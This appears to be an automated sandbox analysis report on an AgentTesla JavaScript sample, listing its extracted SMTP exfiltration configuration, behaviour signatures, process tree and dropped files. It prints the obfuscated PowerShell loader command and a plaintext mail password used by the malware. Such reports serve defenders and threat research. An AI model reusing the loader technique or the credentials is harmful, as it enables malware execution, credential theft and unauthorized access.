Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
09/07/2026, 08:30
General
- Target _02d56e7d4db2ad5ae789463d8e4db36bf2c3803ce3b91baa2019c3fdbb5a905a.js
- Size 79KB
- Sample260709-keltzsf14x
- SHA256 02d56e7d4db2ad5ae789463d8e4db36bf2c3803ce3b91baa2019c3fdbb5a905a
Malware Config
Extracted
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Protocol
smtp
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Host
smtp.hostinger.com
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Port
587
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Username
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Password
Pingdata1234@#
Extracted
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agenttesla
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Protocol
smtp
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Host
smtp.hostinger.com
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Port
587
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Username
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Password
Pingdata1234@#
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Email to
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 4 IoCs
- Modifies registry class 20 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\_02d56e7d4db2ad5ae789463d8e4db36bf2c3803ce3b91baa2019c3fdbb5a905a.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\explorer.exe"C:\Windows\explorer.exe" C:\Lassoerne462⤵
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Skiftelaas='/app'+'data';$Tapsaml=gc ($HOME+$Skiftelaas+'/local/Arcturuswa');$Editor=$Tapsaml[3121]+$Tapsaml[3122]+$Tapsaml[3123]; . ($Editor) $Tapsaml"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Skiftelaas='/app'+'data';$Tapsaml=gc ($HOME+$Skiftelaas+'/local/Arcturuswa');$Editor=$Tapsaml[3121]+$Tapsaml[3122]+$Tapsaml[3123]; . ($Editor) $Tapsaml"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
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C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
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C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_0qhyk5s0.0bd.ps1
Gonoblas.Ban
Arcturuswa
memory/2468-32-0x0000000006BE0000-0x0000000006C76000-memory.dmp
memory/2468-35-0x0000000007280000-0x0000000007824000-memory.dmp
memory/2468-19-0x0000000005430000-0x0000000005496000-memory.dmp
memory/2468-20-0x0000000005510000-0x0000000005576000-memory.dmp
memory/2468-28-0x00000000055D0000-0x0000000005924000-memory.dmp
memory/2468-17-0x0000000004D00000-0x0000000005328000-memory.dmp
memory/2468-30-0x0000000005C20000-0x0000000005C3E000-memory.dmp
memory/2468-31-0x0000000005C50000-0x0000000005C9C000-memory.dmp
memory/2468-16-0x0000000000E00000-0x0000000000E36000-memory.dmp
memory/2468-33-0x0000000006140000-0x000000000615A000-memory.dmp
memory/2468-34-0x0000000006190000-0x00000000061B2000-memory.dmp
memory/2468-18-0x0000000004C50000-0x0000000004C72000-memory.dmp
memory/2468-36-0x0000000007EB0000-0x000000000852A000-memory.dmp
memory/2468-38-0x000000000A530000-0x0000000010458000-memory.dmp
memory/2604-40-0x0000000000A00000-0x0000000001C54000-memory.dmp
memory/2604-41-0x0000000000A00000-0x0000000000A44000-memory.dmp
memory/2604-42-0x0000000020570000-0x0000000020602000-memory.dmp
memory/2604-43-0x000000001FF10000-0x000000001FF60000-memory.dmp
memory/2604-44-0x00000000206B0000-0x000000002074C000-memory.dmp
memory/2604-45-0x00000000209D0000-0x00000000209DA000-memory.dmp
memory/4148-6-0x000002234FF30000-0x000002234FF52000-memory.dmp